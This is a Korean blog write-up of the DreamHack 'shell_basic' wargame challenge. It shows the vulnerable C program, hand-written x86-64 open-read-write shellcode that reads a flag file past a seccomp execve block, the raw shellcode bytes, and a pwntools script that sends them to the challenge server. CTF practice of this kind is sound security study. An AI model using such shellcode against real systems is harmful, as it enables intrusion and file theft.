CIDY
[System_Hacking] 문제풀이(shell_basic) 본문
복습 겸 1레벨부터 문제를 다시 풀어보려고 한다. 새롭게 보이는 것도 있지 않을까..
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
// 64-bit, full relro, nx, pie
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
우선 쉘코드를 쓰라는 문제인 것 같은데,
seccomp이 걸려있다. deny list방식인 것 같은데, 전체를 허용한 다음 execve와 execveat을 막아뒀다.
그럼 flag를 open -> read -> write하는 쉘코드를 만들면 될 것 같다.
물론 shellcraft를 쓰는 게 훨씬 빠르겠지만 지난 풀이↓ 에서 그걸 써서 했으니 이번에는 꼭 직접 만들어 봐야겠다...
https://orcinus-orca.tistory.com/25
open은 시스템 콜 번호 0x2번에, 첫 번째 인자로 const char* filename 를 주면 된다.
read는 호출번호 0x0, 첫 번째 인자는 open에서 반환된 파일 디스크립터, 두 번째 인자는 읽어서 둘 버퍼, 세 번째 인자는 읽을 크기인 것 같다.
write는 호출번호 0x1, 출력해야 하니 첫 번째 인자는 1, 두세 번째 인자는 그냥 두면 될 듯 하다.
asm코드로 한번 짜 보자
아 참고로 플래그 위치는 저렇게 생겼다.
저걸 숫자로 표현하면...
68732f656d6f682f
6c5f73695f656d61
697361625f6c6c65
6e5f67616c662f63
676e6f6f6f6f6f6f
이렇게 쌓아줘야 한다. 8의 배수로 준 것에 감사해야 하는 부분인가... 평소에는 rax에 mov하고 레지스터를 push했는데... 64비트에서 스택에 바로 push해도 되나? -> 안될 것 같으니 일일이 mov해줘야지..
global _start
_start:
;open
xor rsi, rsi
xor rdx, rdx
push rsi
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
mov rax, 0x02
syscall
;read
mov rdi, rax
mov rsi, rsp
sub rsi, 0x50
mov rdx, 0x50
mov rax, 0x0
syscall
;write
mov rdi, 0x1
mov rax, 0x1
syscall
일단 어셈블리로 짜면 이렇게 짜면 된다. 초반에 push rsi해준거는 혹시몰라 널을 하나 받쳐준것이고, 나머지는 위 설명과 동일하다.
덤프떠보면 이렇게 생겼다. 쟤네들을 모아주면 그게 쉘코드이다.
\x48\x31\xf6\x48\x31\xd2\x56\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
from pwn import *
p = remote("host3.dreamhack.games", 14160)
shellcode = b"\x48\x31\xf6\x48\x31\xd2\x56\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendafter(b": ", shellcode)
p.interactive()
그렇게 나온 페이로드. 근데 널이 있는 쉘코드는 잘 실행 안된다던데 널 있어도 얘는 왜 잘 되는 걸까?
'Hack > DreamHack' 카테고리의 다른 글
[System_Hacking] 문제풀이(Tcache Poisoning) (0) | 2022.08.09 |
---|---|
[System_Hacking] 문제풀이(house_of_spirit) (0) | 2022.08.09 |
[Reverse_Engineering] 문제풀이(Secure Mail) (0) | 2022.08.01 |
[Web_Hacking] 문제풀이(session) (0) | 2022.07.31 |
[System_Hacking] 문제풀이(environ) (0) | 2022.07.17 |